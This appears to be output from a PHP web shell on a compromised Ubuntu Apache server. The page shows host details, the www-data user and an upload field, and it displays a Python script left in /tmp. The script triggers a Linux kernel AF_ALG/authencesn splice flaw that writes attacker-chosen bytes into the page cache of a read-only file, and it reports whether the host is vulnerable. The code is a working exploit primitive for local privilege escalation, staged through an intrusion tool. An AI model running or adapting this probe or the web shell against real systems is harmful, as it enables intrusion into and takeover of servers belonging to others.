| Server IP : 13.126.101.145 / Your IP : 216.73.217.47 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 8.3.17 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /tmp/ |
Upload File : |
import errno, os, signal, socket, struct, sys, tempfile, shutil
try:
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(TimeoutError("probe timeout")))
signal.alarm(10)
except Exception:
pass
AF_ALG=38
SOCK_SEQPACKET=5
SOL_ALG=279
ALG_SET_KEY=1
ALG_SET_IV=2
ALG_SET_OP=3
ALG_SET_AEAD_ASSOCLEN=4
ALG_SET_AEAD_AUTHSIZE=5
ALG_OP_DECRYPT=0
ALG="authencesn(hmac(sha256),cbc(aes))"
PAGE=4096
TARGET_OFF=16
MARK=b"CF31"
def out(msg, code):
print(msg, flush=True)
raise SystemExit(code)
def build_splice():
if hasattr(os, "splice"):
def _splice(fd_in, fd_out, length, offset_src=None, offset_dst=None):
return os.splice(fd_in, fd_out, length, offset_src=offset_src, offset_dst=offset_dst)
return _splice
try:
import ctypes
libc=ctypes.CDLL(None, use_errno=True)
splice_fn=libc.splice
off_t=ctypes.c_longlong
splice_fn.argtypes=[ctypes.c_int, ctypes.POINTER(off_t), ctypes.c_int, ctypes.POINTER(off_t), ctypes.c_size_t, ctypes.c_uint]
splice_fn.restype=ctypes.c_ssize_t
except Exception as e:
out("PYTHON_UNUSABLE: splice helper is not available (%s)" % e, 1)
def _splice(fd_in, fd_out, length, offset_src=None, offset_dst=None):
in_off=off_t(offset_src) if offset_src is not None else None
out_off=off_t(offset_dst) if offset_dst is not None else None
n=splice_fn(
fd_in,
ctypes.byref(in_off) if in_off is not None else None,
fd_out,
ctypes.byref(out_off) if out_off is not None else None,
length,
0,
)
if n < 0:
err=ctypes.get_errno()
raise OSError(err, os.strerror(err))
return n
return _splice
SPLICE=build_splice()
fd=rfd=wfd=None
op=master=None
td=None
try:
try:
master=socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
master.bind(("aead", ALG))
except OSError as e:
out("NOT VULNERABLE: AF_ALG/authencesn is not reachable from this context (%s)" % (e.strerror or e), 0)
master.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex("0800010000000010" + "00"*32))
master.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
op,_=master.accept()
try:
op.settimeout(3.0)
except Exception:
pass
td=tempfile.mkdtemp(prefix="cf31-check-")
path=os.path.join(td, "sentinel")
baseline=b"A"*PAGE
with open(path, "wb") as f:
f.write(baseline)
fd=os.open(path, os.O_RDONLY)
os.read(fd, PAGE)
os.lseek(fd, 0, 0)
cmsgs=[
(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
(SOL_ALG, ALG_SET_IV, struct.pack("I",16)+b"\x00"*16),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I",8)),
]
op.sendmsg([b"AAAA"+MARK], cmsgs, socket.MSG_MORE)
rfd,wfd=os.pipe()
splice_len=TARGET_OFF+len(MARK)
n=SPLICE(fd, wfd, splice_len, offset_src=0)
if n != splice_len:
out("UNKNOWN: short splice file->pipe (%d/%d)" % (n, splice_len), 1)
n2=SPLICE(rfd, op.fileno(), splice_len)
if n2 != splice_len:
out("UNKNOWN: short splice pipe->AF_ALG (%d/%d)" % (n2, splice_len), 1)
try:
op.recv(64)
except OSError as e:
if e.errno not in (errno.EBADMSG, errno.EINVAL):
raise
except TimeoutError:
out("PYTHON_PROBE_UNKNOWN: recv timed out", 1)
os.lseek(fd, 0, 0)
after=os.read(fd, PAGE)
if after[TARGET_OFF:TARGET_OFF+len(MARK)] == MARK:
out("VULNERABLE: non-destructive AF_ALG/splice page-cache write triggered", 2)
if after != baseline:
out("VULNERABLE: temp-file page cache changed unexpectedly", 2)
out("NOT VULNERABLE: Python runtime probe left temp-file page cache intact", 0)
except SystemExit:
raise
except Exception as e:
out("PYTHON_PROBE_UNKNOWN: %s: %s" % (type(e).__name__, e), 1)
finally:
try:
signal.alarm(0)
except Exception:
pass
for x in (fd,rfd,wfd):
try:
if x is not None:
os.close(x)
except Exception:
pass
for s in (op,master):
try:
if s is not None:
s.close()
except Exception:
pass
try:
if td:
shutil.rmtree(td)
except Exception:
pass